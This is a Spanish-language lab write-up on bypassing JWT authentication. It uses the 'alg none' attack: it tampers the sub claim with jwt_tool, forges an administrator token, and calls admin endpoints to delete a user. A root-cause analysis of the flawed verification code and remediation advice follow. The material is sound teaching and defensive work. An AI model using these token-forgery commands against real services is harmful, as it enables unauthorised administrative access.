JWT authentication bypass via flawed signature verification
Alg none attack sobre un servidor que verifica la firma de forma incorrecta: alternar alg None/nOne/none y forjar un token de administrador con jwt_tool.
Target Overview & Vulnerability Summary
El laboratorio usa JWT para el manejo de sesiones, pero el servidor está configurado de forma insegura: acepta JWTs sin firma o con la firma que él mismo considera inválida. La verificación de firma está implementada de forma defectuosa, por lo que basta con alternar el campo alg entre las variantes del algoritmo None (None, nOne, none, NONE, …) y modificar el claim sub para obtener un 200 OK en rutas protegidas.
| Campo | Valor |
|---|---|
| Severidad | Alta (bypass de autenticación → GET /admin y eliminación de carlos) |
| Endpoint vulnerable | POST /login, GET /admin |
| Root cause | Verificación de firma defectuosa: el servidor no valida la firma o la omite cuando alg es none |
Technical Breakdown & Exploitation Flow
El patrón de request/response de este laboratorio es idéntico al de JWT authentication bypass via unverified signature (mismo login con wiener:peter, mismo JWT RS256 emitido en Set-Cookie), con la diferencia de que aquí la firma sí se valida, pero de forma incorrecta: la validación puede ser eludida alternando el valor de alg con las variantes del algoritmo none.
Opción 1 — Extensión JSON Web Tokens (BApp Store)
La extensión JSON Web Tokens de Burp Suite permite inspeccionar el JWT capturado y, tras modificar el claim sub a administrator, alternar alg entre None, nOne, none, etc., reenviando la request hasta obtener 200 OK.
Opción 2 — jwt_tool (Python)
Primero se aplica tampering al claim sub con el parámetro -T:
python3 jwt_tool.py eyJraWQiOiI5MzcwNTRjMy1iNGUwLTRkMmUtOTI0NC03ZTFkZWYxNWNhZjMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0OTU3OCwic3ViIjoid2llbmVyIn0.P-pXxYCYGxvAGBE7tRMzUPfPUG4GtQr89RncgvJcsr9fQy4y3MdN7cJHT1fgenji2FO3ER_E4zf9QilWWZMJ7DFi5YQHTfwDJpzh1MYr0RXjsZMDhzFJphl8ut3yF4hJPkyCDAiTCbehHu4DSKiAESgoOC1vRnBsgduMKwfWiWpU6f7oyfdtyqz4UkCB_lI2K0tNwubE5QqvGhkaemIF86ib_NKAhvjli1BC9GVY8E4T3V9FMkIW_AEKJ7EQ-WFTaO_WpdnbRkAqridqcUR1ak_4XjZDJHdoWdcS07aiKeWa14UDaCIQbi2zhv1t1MwmmXhsrTG-T3JPNpZBpK-MYA -T
Luego el parámetro -X a ejecuta el Alg none attack, produciendo un JWT con alg: none y sub: administrator:
python3 jwt_tool.py eyJraWQiOiI5MzcwNTRjMy1iNGUwLTRkMmUtOTI0NC03ZTFkZWYxNWNhZjMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0OTU3OCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.P-pXxYCYGxvAGBE7tRMzUPfPUG4GtQr89RncgvJcsr9fQy4y3MdN7cJHT1fgenji2FO3ER_E4zf9QilWWZMJ7DFi5YQHTfwDJpzh1MYr0RXjsZMDhzFJphl8ut3yF4hJPkyCDAiTCbehHu4DSKiAESgoOC1vRnBsgduMKwfWiWpU6f7oyfdtyqz4UkCB_lI2K0tNwubE5QqvGhkaemIF86ib_NKAhvjli1BC9GVY8E4T3V9FMkIW_AEKJ7EQ-WFTaO_WpdnbRkAqridqcUR1ak_4XjZDJHdoWdcS07aiKeWa14UDaCIQbi2zhv1t1MwmmXhsrTG-T3JPNpZBpK-MYA -X a
El JWT resultante se intercambia por el de la cookie session en el navegador (o se inyecta en Repeater) y se solicita GET /admin, seguido de DELETE /admin?username=carlos.
Root Cause Analysis
El defecto está en la lógica de verificación: la librería valida la firma únicamente cuando el header alg declara un algoritmo criptográfico, y cae en una rama de "token sin firmar" cuando alg es none. El atacante controla alg, por lo que puede desactivar la comprobación de integridad por completo:
alg := header.Algorithm()
if alg == "none" || strings.EqualFold(alg, "none") {
return token, nil // sin verificación de firma → bypass
}
// solo aquí se verifica la firma
signature, err := jwt.Verify(alg, key)
El manejo case-insensitive del none (None, nOne, none) indica un intento de bloqueo mal implementado en lugar de un rechazo por diseño.
Secure Remediation
- Rechazar por defecto cualquier token sin firma.
alg: nonedebe ser un error inmediato, no una rama de aceptación:
alg := header.Algorithm()
if alg == jwa.NoSignature || !supportedAlgorithms[alg] {
return errors.New("token must be signed")
}
- Definir una lista blanca estricta de algoritmos permitidos (p. ej. solo
RS256/ES256/EdDSA) y rechazar cualquier valor dealgque no esté en ella. - Verificar la firma siempre, sin importar el valor de
alg, y fallar ante firmas ausentes o vacías. - No depender de comparaciones case-insensitive como control de seguridad; la decisión debe ser: algoritmo no permitido ⇒ rechazo.